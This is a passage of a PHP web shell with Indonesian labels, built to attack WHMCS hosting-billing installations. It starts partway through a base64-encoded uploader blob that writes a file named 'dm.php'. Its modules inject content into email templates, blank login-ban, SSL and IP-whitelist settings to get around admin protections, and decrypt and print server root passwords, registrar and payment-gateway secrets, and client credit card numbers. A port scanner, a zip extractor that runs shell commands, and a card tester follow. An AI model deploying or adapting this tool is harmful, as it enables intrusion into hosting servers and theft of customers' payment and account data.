VkSE1wS1EwS0pITjBZWFIxY3lBOUlDUnpkR0YwZFhNdUlqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1EyOTFiR1FnYm05MElIZHlhWFJsSUhSdklHWnBiR1VoSUNoTllYbGlaU0I1YjNVZ1pHbGtiaWQwSUdWdWRHVnlJR0Z1ZVNCMFpYaDBQeWs4TDJadmJuUStJanNOQ21aamJHOXpaU2drYUdGdVpHeGxLVHNOQ24wTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCb2RHMXNaVzUwYVhScFpYTW9KR1pwYkdWamIyNTBaVzUwY3lrN0RRcDlEUXBsYkhObERRcDdEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrVG04Z1ptbHNaU0JzYjJGa1pXUWhQQzltYjI1MFBpSTdEUXA5RFFvL1BnMEtQSFJoWW14bElHSnZjbVJsY2owaU1DSWdZV3hwWjI0OUltTmxiblJsY2lJK1BIUnlQangwWkQ0OGRHRmliR1VnZDJsa2RHZzlJakV3TUNVaUlHSnZjbVJsY2owaU1DSStQSFJ5UGp4MFpENE5DanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0lnWVdOMGFXOXVQU0k4UDBWamFHOGdKSE5qY21sd2RHNWhiV1U3UHo0aVBnMEtQR2x1Y0hWMElITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2JtRnRaVDBpWm1sc1pXNWhiV1VpSUhSNWNHVTlJblJsZUhRaUlIWmhiSFZsUFNJOFAwVmphRzhnSkdacGJHVnVZVzFsT3o4K0lpQnphWHBsUFNJM01pSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCemRIbHNaVDBpWTI5c2IzSTZiR2x0WlR0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd01EQXdNREFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrOXdaVzRpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdjM1I1YkdVOUltTnZiRzl5T214cGJXVTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pNREF3TURBd0lpQnVZVzFsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pFWld4bGRHVWlQand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQZzBLUEdadmJuUWdabUZqWlQwaVZtVnlaR0Z1WVNJZ2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ01URndkQ0krRFFvOGRHVjRkR0Z5WldFZ2JtRnRaVDBpWTI5dWRHVnVkSE1pSUhOMGVXeGxQU0pqYjJ4dmNqcHNhVzFsTzJKaFkydG5jbTkxYm1RdFkyOXNiM0k2SXpBd01EQXdNQ0lnWTI5c2N6MGlOekFpSUhKdmQzTTlJakkxSWo0TkNqdy9SV05vYnlBa1ptbHNaV052Ym5SbGJuUnpPejgrUEM5MFpYaDBZWEpsWVQ0OEwyWnZiblErUEdKeVBnMEtQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKVFlYWmxJajROQ2p4cGJuQjFkQ0IwZVhCbFBTSnlaWE5sZENJZ2MzUjViR1U5SW1OdmJHOXlPbXhwYldVN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1EQXdNREF3SWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZzBLUEhBK0RRbzhhRE0rWDFWUVRFOUJSQ0JHU1V4Rlh6eG9NejROQ2cwS1BEOXdhSEFOQ2cwS1pXTm9ieUFuUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdibUZ0WlQwaWRYQnNiMkZrWlhJaUlHbGtQU0oxY0d4dllXUmxjaUkrSnpzTkNnMEtaV05vYnlBblVFRlVTQ0JVUVZKSFJWUWdPaUE4YVc1d2RYUWdibUZ0WlQwaWRYQnNiMkZrZEc4aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU5UQWlJSFpoYkhWbFBTSW5MbWRsZEdOM1pDZ3BMaWNpUGp4aWNpQXZQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0l6TUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpYzNWaWJXbDBJaUJwWkQwaVgzVndiQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdEUXBwWmlnZ0pGOVFUMU5VV3lkZmRYQnNKMTBnUFQwZ0lsVndiRzloWkNJZ0tTQjdEUXBwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlVFOVRWRnNuZFhCc2IyRmtkRzhuWFM0bkx5Y3VKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdEUW9OQ21WamFHOGdKenhtYjI1MElHTnZiRzl5UFNKc2FXMWxJajViSzEwZ1ZYQnNiMkZrSUZOMWEzTmxjeUE2ZGlBOFluSXZQaUJiSzEwZ0p5NGtYMUJQVTFSYkozVndiRzloWkhSdkoxMHVJaThpTGlSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRPdzBLZlNCbGJITmxJSHNOQ21WamFHOGdKMXQrWFNCVmNHeHZZV1FnUm1GcGJHVmtJRlJmVkNCYmZsMDhMMlp2Ym5RK1BHSnlQaWM3RFFwOUlIME5DajgrRFFvPScpOw0KDQokZm9wZW4gPSBmb3BlbiAoJ2RtLnBocCcsJ3cnKTsNCiR3cml0ZSAgPSBmd3JpdGUoJGZvcGVuICwgJGMwZGUpOw=='));{/php}</textarea>
- </td></tr>
- <tr><td align="center" colspan="2"><input class=submit type="submit" value=" HAJAR BOS " name="plapon"></td></tr>
- </table>
- <br>
- </form>
- </center>
- <?php
- if(isset($_POST['plapon'])) {
- $anu1=$_POST['anu1'];
- $anu2=$_POST['anu2'];
- $anu3=$_POST['anu3'];
- $anu4=$_POST['anu4'];
- @mysql_connect($anu1,$anu2,$anu3);
- @mysql_select_db($anu4);
- $shell=str_replace("'","'",$shell);
- $gosok_shell=$_POST['shell'];
- $colok="UPDATE tblemailtemplates SET message ='".$gosok_shell."' WHERE subject ='Welcome'";
- $udah_ganteng=@mysql_query($colok);
- if($udah_ganteng) {
- echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmwhmcs4')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs4" method="post">
- <p><br/><body>
- <center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><b><span class="b7">O=:[ BYPASS LOGIN 2FACTOR ]:=O</span></b><br/><br/>
- <p><form method="post">
- <table border=1 style="border-collapse: collapse">
- <tr><td>db_host </td><td><input type="text" size="60" name="anu1" value="localhost"></td></tr>
- <tr><td>db_username </td><td><input type="text" size="60" name="anu2"></td></tr>
- <tr><td>db_password</td><td><input type="text" size="60" name="anu3"></td></tr>
- <tr><td>db_name</td><td><input type="text" size="60" name="anu4"></td></tr>
- <tr><td align="center" colspan="2"><input class=submit type="submit" value=" HAJAR BOS " name="plapon"></td></tr>
- </table>
- <br>
- </FORM>
- </center>
- <?php
- if(isset($_POST['plapon'])) {
- $anu1=$_POST['anu1'];
- $anu2=$_POST['anu2'];
- $anu3=$_POST['anu3'];
- $anu4=$_POST['anu4'];
- @mysql_connect($anu1,$anu2,$anu3);
- @mysql_select_db($anu4);
- $crot1="UPDATE tblconfiguration SET value='' WHERE setting='InvalidLoginBanLength'";
- $crot2="UPDATE tblconfiguration SET value='' WHERE setting='AdminForceSSL'";
- $crot3="UPDATE tblconfiguration SET value='' WHERE setting='RequiredPWStrength'";
- $crot4="UPDATE tblconfiguration SET value='' WHERE setting='MaintenanceMode'";
- $crot5="UPDATE tblconfiguration SET value='' WHERE setting='APIAllowedIPs'";
- $crot6="UPDATE tblconfiguration SET value='' WHERE setting='LoginFailures'";
- $crot7="UPDATE tblconfiguration SET value='' WHERE setting='InstanceID'";
- $crot8="UPDATE tblconfiguration SET value='' WHERE setting='WhitelistedIPs'";
- $crot9="UPDATE tblconfiguration SET value='' WHERE setting='ToggleInfoPopup'";
- $crot10="UPDATE tblconfiguration SET value='' WHERE setting='token_namespaces'";
- $udah_ganteng=@mysql_query($crot1);
- $udah_ganteng=@mysql_query($crot2);
- $udah_ganteng=@mysql_query($crot3);
- $udah_ganteng=@mysql_query($crot4);
- $udah_ganteng=@mysql_query($crot5);
- $udah_ganteng=@mysql_query($crot6);
- $udah_ganteng=@mysql_query($crot7);
- $udah_ganteng=@mysql_query($crot8);
- $udah_ganteng=@mysql_query($crot9);
- $udah_ganteng=@mysql_query($crot10);
- if($udah_ganteng) {
- echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='whmcsphp7')){
- echo'<form action="?dm='.$pwd.'&x=whmcsphp7" method="post">
- <br/>
- <center><br/><b>
- <span class="b7">O=:[ WHMCS DECODER ]:=O</span></b><br/><br/>
- <p>
- <table border=1 style="border-collapse: collapse">
- <tr><td>db_host </td><td><input type="text" size="60" name="anu1" value="" placeholder="localhost"></td></tr>
- <tr><td>db_username </td><td><input type="text" size="60" name="anu2"></td></tr>
- <tr><td>db_password</td><td><input type="text" size="60" name="anu3"></td></tr>
- <tr><td>db_name</td><td><input type="text" size="60" name="anu4"></td></tr>
- <tr><td>cc_encryption_hash</td><td><input type="text" size="60" name="anu5"></td></tr>
- </table>
- <br>
- <p><br /><b><span class="b7">O=:[ Location configuration.php ]:=O</span></b><br /></p>
- <input type="text" size="60" name="configuration" value="" placeholder="configuration.php"><br /><br /><input class="submit" type="submit" name="plapon">
- </form>
- </center>';
- if(isset($_POST['plapon'])){
- if(!empty($_POST['anu2']) && (!empty($_POST['anu3'])) && (!empty($_POST['anu4'])) && (!empty($_POST['anu5']))){
- if($_POST['anu1']){
- $db_host=$_POST['anu1'];
- }else{
- $db_host='localhost';
- }
- $db_username=$_POST['anu2'];
- $db_password=$_POST['anu3'];
- $db_name=$_POST['anu4'];
- $cc_encryption_hash=$_POST['anu5'];
- }else{
- include($_POST['configuration']);
- }
- $connect=new mysqli($db_host,$db_username,$db_password,$db_name);
- if($connect->connect_error){
- echo'<center><br/><span class="b7">'.$connect->connect_error.'</span><br/></center>';
- }else{
- $tblservers=$connect->query("SELECT * FROM tblservers");
- echo "<center><br/><br/><b><span class='b7'>O=:[ HOST ROOT ]:=O</span></b><br/><br/></center>
- <table border='1' cellpadding='5' align='center' style='border-collapse: collapse'>
- <tr>
- <td align='center'><b>TYPE</b></td>
- <td align='center'><b>ACTIVE</b></td>
- <td align='center'><b> IP ADDRESS</b></td>
- <td align='center'><b>HOSTNAME</b></td>
- <td align='center'><b>USERNAME</b></td>
- <td align='center'><b>PASSWORD</b></td>
- <td align='center'><b>ACCESS HASH</b></td>
- <td align='center'><b>NAME SERVER</b></td>
- </tr>";
- while($v=mysqli_fetch_array($tblservers)){
- echo"<tr><td align='center'>{$v['type']}</td>
- <td align='center'>{$v['active']}</td>
- <td align='center'>{$v['ipaddress']}</td>
- <td align='center'>{$v['hostname']}</td>
- <td>{$v['username']}</td>
- <td>".dec($v['password'],$cc_encryption_hash)."</td>";
- if(empty($v['accesshash'])){
- echo"<td>{$v['accesshash']}</td>";
- }else{
- echo"<td><textarea style='width:150px; height:150px'; onclick='this.focus(); this.select();'>{$v['accesshash']}</textarea></td>";
- }
- echo"<td>{$v['nameserver1']}</td></tr>\n";
- }
- echo"</table>";
- $tblregistrars=$connect->query("SELECT *FROM tblregistrars");
- echo "<center><br/><br/><b><span class='b7'>O=:[ DOMAIN REGISTRAR ]:=O</span></b><br/><br/></center><table border='1' align='center' cellpadding='5' style='border-collapse: collapse'>
- <tr> <td align='center'><b> <font color='lime'> REGISTRAR</font></b></td>
- <td align='center'><b> <font color='lime'> SETTING</font></b></td>
- <td align='center'><b> <font color='lime'> VALUE</font> </b></td></tr>";
- while($v=mysqli_fetch_array($tblregistrars)){
- $value=(!dec($v['value'],$cc_encryption_hash))?"0":dec($v['value'],$cc_encryption_hash);
- echo"<tr><td align='center'><font color='white'>{$v['registrar']}</font></td>
- <td align='center'><font color='white'>{$v['setting']}</font></td>
- <td align='center'><font color='white'>$value</font></td></tr>\n";
- }
- echo "</table>";
- $tblpaymentgateways=$connect->query("SELECT *FROM tblpaymentgateways");
- echo "<center><br/><br/><b><span class='b7'>O=:[ PAYMENT GATEWAYS ]:=O</span></b><br/><br/></center>
- <table border='1' align='center' cellpadding='5' style='border-collapse: collapse'><tr>
- <td align='center'><b>GATEWAY</b></td>
- <td align='center'><b>SETTING </b></td>
- <td align='center'><b>VALUE </b></td>
- <td align='center'><b>ORDER </b></td></tr>";
- while($v=mysqli_fetch_array($tblpaymentgateways)){
- echo"<tr>
- <td align='center'>{$v['gateway']}</td>
- <td align='center'>{$v['setting']}</td>
- <td align='center'>{$v['value']}</td>
- <td align='center'>{$v['order']}</td></tr>\n";
- }
- echo "</table>";
- $tblcc=$connect->query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
- echo "<center><br/><br/><b><span class='b7'>O=:[ CLIENT CREDIT CARD ]:=O</span></b><br/><br/></center><table border='1' cellpadding='5' align='center' style='border-collapse: collapse'>
- <tr>
- <td align='center'><b>CardType</b></td>
- <td align='center'><b>CardNumb</b></td>
- <td align='center'><b>Expdate</b></td>
- <td align='center'><b>IssueNumb</b></td>
- <td align='center'><b>FirstName</b></td>
- <td align='center'><b>LastName</b></td>
- <td align='center'><b>Address</b></td>
- <td align='center'><b>Country</b></td>
- <td align='center'><b>Phone</b></td>
- <td align='center'><b>Email</b></td></tr>\n";
- if(!is_array(mysqli_fetch_array($tblcc))){
- echo"<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
- }
- while($v=mysqli_fetch_array($tblcc)){
- $cchash=md5($cc_encryption_hash.$v['0']);
- $s=$connect->query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'".$cchash."') as cardnum,AES_DECRYPT(expdate,'".$cchash."') as expdate,AES_DECRYPT(issuenumber,'".$cchash."') as issuenumber FROM tblclients WHERE id='".$v['0']."'");
- $v2=mysqli_fetch_array($s);
- echo"<tr><td align='center'>".$v2['cardtype']."</td>
- <td align='center'>".$v2['cardnum']."</td>
- <td align='center'>".$v2['expdate']."</td>
- <td align='center'>".$v2['issuenumber']."</td>
- <td align='center'>".$v2['firstname']."</td>
- <td align='center'>".$v2['lastname']."</td>
- <td align='center'>".$v2['address1']."</td>
- <td align='center'>".$v2['country']."</td>
- <td align='center'>".$v2['phonenumber']."</td>
- <td align='center'>".$v2['email']."</td></tr>\n";
- }
- echo"</table>";
- $tblhosting=$connect->query("SELECT *FROM tblhosting");
- echo "<center><br/><br/><b><span class='b7'>O=:[ CLIENT HOSTING ACCOUNT ]:=O</span></b><br/><br/></center> <table border='1' cellpadding='5' align='center' style='border-collapse: collapse'><tr>
- <td align='center'><b>STATUS</b></td>
- <td align='center'><b>DOMAIN</b></td>
- <td align='center'><b>USERNAME</b></td>
- <td align='center'><b>PASSWORD</b></td>
- <td align='center'><b>IP ADDRESS</b></td></tr>\n";
- if(!is_array(mysqli_fetch_array($tblhosting))){
- echo"<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
- }
- while($v=mysqli_fetch_array($tblhosting)){
- echo "<tr><td align='center'>{$v['domainstatus']}</td>
- <td align='center'>{$v['domain']}</td>
- <td align='center'>{$v['username']}</td>
- <td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
- <td align='center'>{$v['assignedips']}</td></tr>\n";
- }
- echo "</table>";
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='whmcs1')){
- echo'<form action="?dm='.$pwd.'&x=whmcs1" method="post">
- <p><br/>
- <center><br /><b><span class="b7">O=:[ WHMCS DECODER ]:=O</span></b><br />
- </p>
- <table border="1" style="border-collapse: collapse">
- <tr><td>db_host </td><td><input type="text" size="60" name="anu1" value="" placeholder="localhost"></td></tr>
- <tr><td>db_username </td><td><input type="text" size="60" name="anu2"></td></tr>
- <tr><td>db_password</td><td><input type="text" size="60" name="anu3"></td></tr>
- <tr><td>db_name</td><td><input type="text" size="60" name="anu4"></td></tr>
- <tr><td>cc_encryption_hash</td><td><input type="text" size="60" name="anu5"></td></tr>
- </table>
- <br>
- <p><br /><b><span class="b7">O=:[ configuration.php ]:=O</span></b><br /></p>
- <input type="text" size="60" name="configuration" value="" placeholder="configuration.php"><br /><br /><input class="submit" type="submit" name="plapon">
- </form></center>';
- if(isset($_POST['plapon'])){
- if(!empty($_POST['anu2']) && (!empty($_POST['anu3'])) && (!empty($_POST['anu4'])) && (!empty($_POST['anu5']))){
- if($_POST['anu1']){
- $db_host=$_POST['anu1'];
- }else{
- $db_host='localhost';
- }
- $db_username=$_POST['anu2'];
- $db_password=$_POST['anu3'];
- $db_name=$_POST['anu4'];
- $cc_encryption_hash=$_POST['anu5'];
- }else{
- include($_POST['configuration']);
- }
- if(mysql_connect($db_host,$db_username,$db_password)){
- @mysql_select_db($db_name);
- $query=mysql_query("SELECT *FROM tblservers");
- echo"<center><br/><br/><b><span class='b7'>O=:[ HOST ROOT ]:=O</span></b><br/><br/></center>
- <table border='1' cellpadding='5' align='center' style='border-collapse: collapse'>
- <tr>
- <td align='center'><b>TYPE</b></td>
- <td align='center'><b>ACTIVE</b></td>
- <td align='center'><b> IP ADDRESS</b></td>
- <td align='center'><b>HOSTNAME</b></td>
- <td align='center'><b>USERNAME</b></td>
- <td align='center'><b>PASSWORD</b></td>
- <td align='center'><b>ACCESS HASH</b></td>
- <td align='center'><b>NAME SERVER</b></td>
- </tr>";
- while($v=mysql_fetch_array($query)){
- echo "<tr>
- <td align='center'>{$v['type']}</td>
- <td align='center'>{$v['active']}</td>
- <td align='center'>{$v['ipaddress']}</td>
- <td align='center'>{$v['hostname']}</td>
- <td>{$v['username']}</td>
- <td>".dec($v['password'],$cc_encryption_hash)."</td>";
- if(empty($v['accesshash'])){
- echo"<td>{$v['accesshash']}</td>";
- }else{
- echo"<td><textarea style='width:150px; height:150px'; onclick='this.focus(); this.select();'>{$v['accesshash']}</textarea></td>";
- }
- echo"<td>{$v['nameserver1']}</td></tr>\n";
- }
- echo"</table><br><br>";
- $query=mysql_query("SELECT *FROM tblregistrars");
- echo"<center><br/><br/><b><span class='b7'>O=:[ DOMAIN REGISTRAR ]:=O</span></b><br/><br/></center>
- <table border='1' align='center' cellpadding='5' style='border-collapse: collapse'>
- <tr> <td align='center'><b> <font color='lime'> REGISTRAR</font></b></td>
- <td align='center'><b> <font color='lime'> SETTING</font></b></td>
- <td align='center'><b> <font color='lime'> VALUE</font> </b></td></tr>";
- while($v=mysql_fetch_array($query)){
- $value=(!dec($v['value'],$cc_encryption_hash))?"0":dec($v['value'],$cc_encryption_hash);
- echo"<tr><td align='center'> <font color='white'> {$v['registrar']}</font></td>
- <td align='center'> <font color='white'> {$v['setting']}</font></td>
- <td align='center'> <font color='white'> $value</font></td></tr>\n";
- }
- echo"</table>";
- $query=mysql_query("SELECT *FROM tblpaymentgateways");
- echo "<center><br/><br/><b><span class='b7'>O=:[ PAYMENT GATEWAYS ]:=O</span></b><br/><br/></center>
- <table border='1' align='center' cellpadding='5' style='border-collapse: collapse'><tr>
- <td align='center'><b>GATEWAY</b></td>
- <td align='center'><b>SETTING </b></td>
- <td align='center'><b>VALUE </b></td>
- <td align='center'><b>ORDER </b></td></tr>";
- while($v=mysql_fetch_array($query)){
- echo"<tr>
- <td align='center'>{$v['gateway']}</td>
- <td align='center'>{$v['setting']}</td>
- <td align='center'>{$v['value']}</td>
- <td align='center'>{$v['order']}</td></tr>\n";
- }
- echo"</table>";
- $query=mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
- echo "<center><br/><br/><b><span class='b7'>O=:[ CLIENT CREDIT CARD ]:=O</span></b><br/><br/></center><table border='1' cellpadding='5' align='center' style='border-collapse: collapse'>
- <tr>
- <td align='center'><b>CardType</b></td>
- <td align='center'><b>CardNumb</b></td>
- <td align='center'><b>Expdate</b></td>
- <td align='center'><b>IssueNumb</b></td>
- <td align='center'><b>FirstName</b></td>
- <td align='center'><b>LastName</b></td>
- <td align='center'><b>Address</b></td>
- <td align='center'><b>Country</b></td>
- <td align='center'><b>Phone</b></td>
- <td align='center'><b>Email</b></td></tr>";
- if(!is_array(mysql_fetch_array($query))){
- echo"<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
- }
- while($v=mysql_fetch_array($query)){
- $cchash=md5($cc_encryption_hash.$v['0']);
- $s=mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'".$cchash."') as cardnum,AES_DECRYPT(expdate,'".$cchash."') as expdate,AES_DECRYPT(issuenumber,'".$cchash."') as issuenumber FROM tblclients WHERE id='".$v['0']."'");
- $v2=mysql_fetch_array($s);
- echo"<tr>
- <td align='center'>".$v2['cardtype']."</td>
- <td align='center'>".$v2['cardnum']."</td>
- <td align='center'>".$v2['expdate']."</td>
- <td align='center'>".$v2['issuenumber']."</td>
- <td align='center'>".$v2['firstname']."</td>
- <td align='center'>".$v2['lastname']."</td>
- <td align='center'>".$v2['address1']."</td>
- <td align='center'>".$v2['country']."</td>
- <td align='center'>".$v2['phonenumber']."</td>
- <td align='center'>".$v2['email']."</td></tr>\n";
- }
- echo"</table>";
- $query=mysql_query("SELECT *FROM tblhosting");
- echo"<center><br/><br/><b><span class='b7'>O=:[ CLIENT HOSTING ACCOUNT ]:=O</span></b><br/><br/></center>
- <table border='1' cellpadding='5' align='center' style='border-collapse: collapse'><tr>
- <td align='center'><b>STATUS</b></td>
- <td align='center'><b>DOMAIN</b></td>
- <td align='center'><b>USERNAME</b></td>
- <td align='center'><b>PASSWORD</b></td>
- <td align='center'><b>IP ADDRESS</b></td></tr>";
- if(!is_array(mysql_fetch_array($query))){
- echo"<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
- }
- while($v=mysql_fetch_array($query)){
- echo "<tr><td align='center'>{$v['domainstatus']}</td>
- <td align='center'>{$v['domain']}</td>
- <td align='center'>{$v['username']}</td>
- <td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
- <td align='center'>{$v['assignedips']}</td></tr>\n";
- }
- echo "</table>";
- }else{
- echo'<center><br /><span class="b7">'.mysql_error().'</span><br /></center>';
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='pscan')){
- echo'<form action="?dm='.$pwd.'&x=pscan" method="post">
- <center><br/><br/><b><span class="b7">O=:[ PORT SCANNER ]:=O</span></b><br/><br/>';
- $start=strip_tags($_POST['start']);
- $end=strip_tags($_POST['end']);
- $host=strip_tags($_POST['host']);
- if(isset($_POST['host'])&&is_numeric($_POST['end'])&&is_numeric($_POST['start'])) {
- for($i=$start; $i<=$end; $i++) {
- $fp=@fsockopen($host,$i,$errno,$errstr, 3);
- if($fp) {
- echo "Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font><br>";
- }
- flush();
- }
- }else{
- echo '<input type="hidden" name="y" value="phptools">
- Host <br/>
- <input type="text" class="inputz" name="host" value="localhost"/><br />
- Port Start<br />
- <input type="text" class="inputz" name="start" value="0"/><br />
- Port End:<br />
- <input type="text" class="inputz" name="end" value="5000"/><br />
- <input type="submit" class="inputzbut" value="Scan Ports" />
- </form></center>';
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='string')){
- echo'<form action="?dm='.$pwd.'&x=string" method="post">
- <br><br>
- <table class="tabnet"><tbody>
- <tr><th colspan="2"> String to Hash </th></tr>
- <tr><td>String:</td>';
- ?>
- <td><input type='text' class='inputz' name='hash_input' value='<?php if(isset($_POST['hash_input'])){echo $_POST['hash_input'];}?>' /></td></tr>
- <tr>
- <td align="center" colspan="2"><input type='submit' name='submit_hash' style="width:100%;" class='inputzbut' value='Encode' /></td>
- </tr>
- </tbody>
- </table>
- </form>
- <br><br>
- <?php
- if(isset($_POST['submit_hash'])) {
- if(isset($_POST['hash_input'])) {
- $hash_input=$_POST['hash_input'];
- }
- if($hash_input=="") {
- echo 'Nothing Inserted!';
- }else{
- if(isset($hash_input)) {
- echo "<table class='tabnet'><tbody>
- <tr><th colspan='2'> Hash </th></tr>";
- foreach(hash_algos() as $hash_setoption) {
- $calculate_hash=hash($hash_setoption,$hash_input, false);
- echo "<tr><td width='70' align='center'><font style='color:#9F7CEB'>$hash_setoption</font></td><td><font style='color:#5BC740'>$calculate_hash</font></td></tr>";
- }
- echo "</tbody></table>";
- }
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='cc')){
- echo'<form action="?dm='.$pwd.'&x=cc" method="post">';
- $CCV= new CreditCardValidator();
- if(isset($_POST['cardnum'])){
- $CCV->Validate($_POST['cardnum']);
- $CARDINFO=$CCV->GetCardInfo();
- }
- ?>
- <span class="b7">Credit Card Tester</span><br>
- <form action="" method="post">
- <fieldset id="fs-input">
- <legend></legend>
- <label>Card Number</label>
- <input type="text" style="color:#FF0000;background-color:#000000" name="cardnum" value="<?php echo @$_POST['cardnum']; ?>"><br>
- <label>Show Geeky Output</label>
- <input type="checkbox" name="showgeek" class="cb" value="1"<?php if(isset($_POST['showgeek']))echo ' checked'; ?>>
- </fieldset>
- <fieldset id="fs-submit">
- <legend></legend>
- <label></label>
- <input type="submit" value="Check CC">
- </fieldset>
- <?php if(isset($_POST['cardnum'])){ ?>
- <br>
- <span class="b7">Result</span><br><fieldset id="fs-result">
- <legend></legend><label></label>
- <strong>Status:</strong> <?php echo strtoupper($CARDINFO['status']);?><br>
- <strong>Card Type: </strong> <?php echo $CCV->GetCardName($CARDINFO['type']);?>
- </fieldset>
- <?php
- }
- if(isset($_POST['showgeek'])){
- echo'<fieldset id="fs-geek-result">
- <legend></legend>
- <label>Geeky Result</label>
- <textarea rows="40" cols="80">';
- print_r($CCV);
- echo'</textarea></fieldset>';
- }
- echo'</form>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='unzip')){
- echo'<form action="?dm='.$pwd.'&x=unzip" method="post">
- <center><br/><br/><span class="b7">O=:[ ZIP FILE EXTRACTOR ]:=O</span><br /><br /> </center>';
- $handler=opendir('.');
- echo"<center><b>Pilih File Yg Mau Di Extrak </b><br />";
- echo'<form action="" method="post">';
- $found=false;
- while($file=readdir($handler)){
- if(preg_match("/.zip$/i",$file)){
- echo'<input type="checkbox" name="zf" value="'.$file.'">'.$file.'<br />';
- $found=true;
- }
- }
- closedir($handler);
- if($found==false){
- echo "<b>[+] GA ADA FILE EXTENSI ZIP [+]</b><br>";
- }else{
- echo '<br/ ><input class="inputz" type="text" name="dirun" value="'.$pwd.'" size="50px">';
- echo '<input class="inputz" type="submit" name="un" value=" Unzip File "><br />';
- if(isset($_POST['un'])&&!empty($_POST['zf'])){
- echo "<b>[+] PROSES BONGKAR [+]</b><br>";
- $dirun=(!empty($_POST['dirun'])?$_POST['dirun']:$pwd);
- $fzp=$_POST['zf'];
- if(class_exists('ZipArchive')){
- $zip=new ZipArchive;
- $res=$zip->open($fzp);
- if($res===true){
- for($i=0;$i<$zip->numFiles;$i++){
- $rpl=$zip->getNameIndex($i);
- echo 'Name: '.(!empty($rpl)?$rpl:'').'<br />';
- }
- $zip->extractTo($dirun);
- $zip->close();
- echo "ZipArchive<br />Sukses extrak ".$fzp."<br/>";
- }else{
- echo "Sukses extrak ".$fzp."<br/>";
- echo exe('unzip -o '.$fzp.' -d '.$dirun);
- echo "<br/>";
- }
- }else{
- echo "Sukses extrak ".$fzp."<br/>";
- echo exe('unzip -o '.$fzp.' -d '.$dirun);
- echo "<br/>";
- }
- }
- }
- echo "</form>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='analyzer')){
- echo'<form action="?dm='.$pwd.'&x=analyzer" method="post">
- <center><br/><span class="b7">O=:[ HASH TYPE ANALYZER ]:=O<br/><br/><form method=POST>
- <input type="text" name="hashToAnalyze" size=60><input type="submit" value="Check Hash Now" name="analyzieNow"></form></center>';
- if($_POST['analyzieNow']) {
- $hash=$_POST['hashToAnalyze'];
- $subHash=substr($hash, 0, 3);
- if($subHash=='$ap'&&strlen($hash)==37) {
- echo "<center>The Hash:".$hash." is:MD5(APR) Hash";
- }elseif($subHash=='$1$'&&strlen($hash)==34) {
- echo "<center>The Hash:".$hash." is:MD5(UNIX) Hash";
